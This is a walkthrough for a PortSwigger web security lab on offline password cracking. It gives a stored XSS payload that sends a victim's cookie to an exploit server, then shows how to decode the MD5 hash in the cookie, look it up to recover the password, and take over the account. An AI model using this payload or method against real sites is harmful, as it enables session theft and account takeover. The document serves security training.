PortSwigger - Authentication - Lab 10
Lab 10 - Offline password cracking
Lab Objective:
This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the “My account” page.
Your credentials: wiener:peter
Victim's username: carlos
Reference:
Port Swigger - Lab 10
Solution
1. With Burp running, use your own account to investigate the Stay logged in functionality. Notice that the stay-logged-in cookie is Base64 encoded.
2. In the Proxy > HTTP history tab, go to the Response to your login request and highlight the stay-logged-in cookie, to see that it is constructed as follows: username+':'+md5HashOfPassword
3. You now need to steal the victim user’s cookie. Observe that the comment functionality is vulnerable to XSS
4. Go to the exploit server and make a note of the URL.
5. Go to one of the blogs and post a comment containing the following stored XSS payload, remembering to enter your own exploit server ID:
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
6. On the exploit server, open the access log. There should be a GET request from the victim containing their stay-logged-in cookie
7. Decode the cookie in Burp Decoder. The result will be: carlos:26323c16d5f4dabff3bb136f2460a943
8. Copy the hash and paste it into a search engine. This will reveal that the password is onceuponatime
9. Log in to the victim’s account, go to the My account page, and delete their account to solve the lab.
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